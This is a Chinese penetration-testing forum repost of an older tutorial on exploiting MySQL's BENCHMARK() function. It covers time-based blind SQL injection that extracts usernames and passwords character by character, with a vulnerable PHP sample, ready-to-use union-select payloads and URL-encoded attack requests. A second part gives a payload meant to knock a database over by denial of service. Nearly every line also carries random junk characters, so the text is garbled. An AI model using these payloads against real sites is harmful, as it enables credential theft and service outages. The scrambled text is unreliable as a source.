中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用 - e% R8 X/ W8 [+ b. V
本文作者:SuperHei6 Q! v( k. Z& P' U  _( Y8 l
文章性质:原创( z9 o2 [) q; p$ J5 }% m4 M
发布日期:2005-01-02
' F+ U9 ~3 r; Q+ @1 t! y完成日期:2004-07-09 ' Y$ E7 M! a  k9 Z- j
第一部) |- x/ N- M  V, J6 E( r
( _6 Z: s7 G. Z/ v& {* o6 q
利用时间推延进行注射---BENCHMARK函数在注射中的利用
1 A3 x/ V# B8 t0 V, o. B$ T( S+ Q0 q4 c0 m
一.前言/思路
/ d: T( s. u( r. C1 W# j
8 \/ W) e1 ?) N% {% e0 \4 ]( p  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。6 j* X) t8 i" S& U) X

: ]3 k; P0 o' h/ z  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
7 @) L9 e6 ]% S/ i% }5 `! `% ~( Z
1 m  Q) \/ X" G3 u二.关于BENCHMARK函数
+ C; j# F: C0 l6 Y0 s: b. h( j" M4 ~
  在MySQL参考手册里可以看到如下描叙:
3 V9 q# ]& Z' B: s. j! U: J/ Z/ i" Z  W3 x. d5 r* @# D* G

& o, L' D! [# {. k, [6 k. ]* F--------------------------------------------------------------------------------
6 q9 {; R/ M" ]& D: K7 p+ f1 |
( V- M$ X3 B0 QBENCHMARK(count,expr)
: Y/ T3 r) F9 p, k5 h! aBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 + o% D. {7 g% d7 ~, L5 }! y7 N  m
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 8 W  @& C' q8 m% {4 {; c# V
+----------------------------------------------+ 2 E( l5 [0 N( @$ C* Y% C$ a
| BENCHMARK(1000000,encode("hello","goodbye")) |
* n0 U3 Q/ P6 ~4 E7 v( M; w+----------------------------------------------+ " x; ~+ @9 v# l6 N4 v, z+ q9 @
| 0 |
# N- Z, Y7 X" V9 p! \' \+----------------------------------------------+ 4 h& c2 U, N0 h6 k. e5 V% o
1 row in set (4.74 sec) - H, m& u5 u* y! B: R

/ H4 ]( [6 o  @' o1 Y6 k报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。- F$ S5 ?/ d- P5 V

+ Z; `0 J! {/ p3 ^' c0 s( K+ z0 w# W* p
0 z8 a8 s% X) Z6 m* V) Y--------------------------------------------------------------------------------
* v" w8 z" R2 E( h4 `. e/ K8 p( l; g+ Z: i7 p( F$ p0 G* h
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
% E" G' |8 {9 ?$ w% S8 t6 p
5 F6 k3 Q# ]! m2 l+ k8 @# D" p) ~mysql> select md5( 'test' ); 2 m' v% B+ r% S( k0 g
+----------------------------------+
( N+ Y& L: w$ P6 d* {/ b% Q  {& h" u+ y| md5( 'test' ) |
# }* z  E- x0 S3 J- S1 F+----------------------------------+
6 M; k& _# O* j' \0 |, W) O7 D, }| 098f6bcd4621d373cade4e832627b4f6 |
, \9 k0 ~6 F( [7 d8 {7 z+----------------------------------+ 8 @0 a, p4 b* @+ b6 T# f
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
$ [" ], Y' I/ ~& {) i
/ J. U# `; R/ n4 W2 K" \5 [& ~/ @$ Bmysql> select benchmark( 500000, md5( 'test' ) ); ' F7 N8 z! J0 \7 F& e" [
+------------------------------------+ ; a' G5 @# E8 r6 P0 P: c! ?
| benchmark( 500000, md5( 'test' ) ) |
: R- |" Q9 h9 ]! p5 o% `+------------------------------------+ % `1 n0 W; x  i5 Z# U: R
| 0 |
7 a0 q3 M  P" }; }6 I, Z$ h+------------------------------------+
& \: R1 o' F) s3 F, [* g/ g2 {+ @1 row in set (6.55 sec) 〈------------执行时间为6.55 sec' f: Y/ G: b8 k3 z  Z8 X/ T6 A
; v; B1 y2 q. ]2 `. R2 f6 u5 ~
. A4 f7 ]0 f* a, M+ G
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
3 ?2 S6 U. x5 J8 g% ]$ ?+ F9 M! Y: `! z$ \% M9 S# y
三.具体例子1 @  n" Y; C  C  v
, }4 W2 X! Y" p: q* t
  首先我们看个简单的php代码:6 ^/ C3 J$ h8 y- c; R' I

% R" G- j+ M- {- S( @< ?php 3 C# f- y# S& C
$servername = "localhost"; 9 p- c  Q2 S- h# B! p# Q
$dbusername = "root";
$ E+ m% v7 k- i5 o$dbpassword = "";
/ d! n1 N' ~! B  T! |6 ^# w$dbname = "injection";   O4 m9 e4 j. E4 T* p
0 k/ L, B  M# o# X3 o' k0 l: e
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
, E. {3 Q/ C6 ^8 O! `2 m6 B# q
3 u  r& n/ Z: U0 L8 K$sql = "SELECT * FROM article WHERE articleid=$id"; - Z/ v' ~/ k' `# q) s
$result = mysql_db_query($dbname,$sql);
6 ~  B$ l, F) _5 _2 r$row = mysql_fetch_array($result);
- R- z: F8 O6 ]; V9 u  w% _5 L2 |, F3 E
if (!$row)
/ A% P5 g* g( [4 @7 h{ 5 l* }( }& a4 ?  g
exit;
( V8 J1 p( t% Q2 |+ K) ]}
/ W' [2 Y. t3 T, S* P5 C8 h& r?>) [9 {; e5 @, t! S
9 y) {' [+ i/ X, s: U) v( q

/ w- T# K% n0 |# u  `! W  数据库injection结构和内容如下:4 D8 m7 J3 F" G1 U+ n

1 |5 ]6 w2 m! A1 z2 h# 数据库 : `injection` 4 x" S; ^$ ?/ E( c$ ^
#   W1 g1 h. ^% {8 `
" k: k# F0 P" V# q& v* r
# -------------------------------------------------------- ( }# L/ G. F7 \4 q4 T4 A
" G( A1 v* r5 m' n& V
# - _, q+ M3 F% b; |1 D/ @
# 表的结构 `article` . c5 _( [( h/ X, g, V0 x, l+ Y
#
" A" }( Y4 P0 }. L- d  k
( h6 b* |2 y% d: P  X, u) [( r/ _6 NCREATE TABLE `article` (
; _  x5 q' o2 t9 J7 {; B`articleid` int(11) NOT NULL auto_increment,
% K! S& N6 X! e" s0 {4 g- @`title` varchar(100) NOT NULL default '', - ~- s% N; ]5 @, m
`content` text NOT NULL,
. o. ?* L" V9 l  ~PRIMARY KEY (`articleid`) # t/ t  @) B: X; Q$ P+ P
) TYPE=MyISAM AUTO_INCREMENT=3 ;
0 i& g$ @# `7 @7 V$ p, [
! f& U; _/ f2 [9 O/ W: v# & f! g; ^* T$ F7 b5 \$ {
# 导出表中的数据 `article` ( E  K6 [- Y9 |- A6 L& v
# 7 m+ A# [& ^. ~7 ^! K8 M
2 @4 A- x* o- f6 M
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
; b! x. b0 f  E% z0 j2 \1 u4 AINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
' O5 q( b. J: a4 `' N
  g6 t& }% \8 ]8 S# -------------------------------------------------------- 9 t7 A8 u9 Z* _' K' d: a: R0 k
) E& g: d! \2 A
# ; Z2 `5 d9 f% a! L( i+ b
# 表的结构 `user`
$ C" Z2 P' f# P; m7 M# " g+ a( U+ P3 {0 @) J

9 E9 R0 L3 S/ X7 ~' b( |CREATE TABLE `user` ( # f! J- w; d+ e2 b* Z0 q
`userid` int(11) NOT NULL auto_increment, ! s- F7 i7 O& S' a
`username` varchar(20) NOT NULL default '',   ?9 ]) }2 B! n9 ~
`password` varchar(20) NOT NULL default '', 2 d& h* E/ v8 {% u1 {  u# c" f8 o2 I
PRIMARY KEY (`userid`) - A5 S8 I4 `+ S. z4 B  ?
) TYPE=MyISAM AUTO_INCREMENT=3 ; : L) w  u# W# ]

( C" z, m; H5 I4 w: Y4 `: ^# ( w. B% x; \2 k1 D* {# S2 f" s
# 导出表中的数据 `user`   }* a0 r  n. k
#
, C* \" D. W) J% j! K- Y1 l& o
1 [" R, y) a' \3 |$ `INSERT INTO `user` VALUES (1, 'angel', 'mypass');
& y7 s$ B: Q& W# B/ H% UINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');5 c! {5 u1 f* w5 D: Z) }# p" O

/ ]) s+ E4 ?- U: C& [, D! K+ y( _! r, G! P
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:* e1 v0 V  M/ k8 `$ l/ L* @
. y* _1 g# W7 w6 s9 F2 W
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*  G' U% m9 O9 j4 L# P# y+ t: z

" X$ E  Y% \3 l: t) s
8 a# E7 o7 U) I- o  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:' o" ~. f' c& e$ k9 m6 ^
! ~5 o: |% y0 |. i9 L) b+ J1 S8 u
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*/ A! V" r, A% ?6 ~  w& `5 v0 t  o) ?
4 U9 u) a1 e3 ^" j! B- W! n2 F( ~7 `$ r

- c& P8 }( G+ \4 O  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ! z  d$ G) j3 H' T, i/ [% L

% Q+ H$ U- m1 Z& p  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
% C' T+ B+ j- ]4 B7 v9 o) `! x5 S3 m! O4 c* H
第二部
% ~, }' @' N& N3 a0 Y& l* _( i" }7 Q6 E/ _# G7 y+ Y! Z/ M; B4 O* N
利用BENCHMARK函数进行ddos攻击 ( P9 y8 ~4 A; F& @! s3 f6 p8 T
; D) c  @3 T% k( H" s
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
! ]$ |) _5 Z- s. m$ B# W0 W0 }# P9 M) M; t! i* |+ k
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))' O! J* _  L& @) }/ e0 K
6 g) E& s- ]( P+ d
" k; c9 A5 ?: C. g/ ^
小结$ a+ t$ J" p1 d

$ C' F$ t2 `& s7 ~) O* \" Z7 W: B  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。' p8 i( Q2 I0 I$ w" H  M0 T
0 z3 l* P- D1 X4 j3 y# f4 F) g7 ^
  
3 l2 i' R* ^, O/ Z' n9 u. ]




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2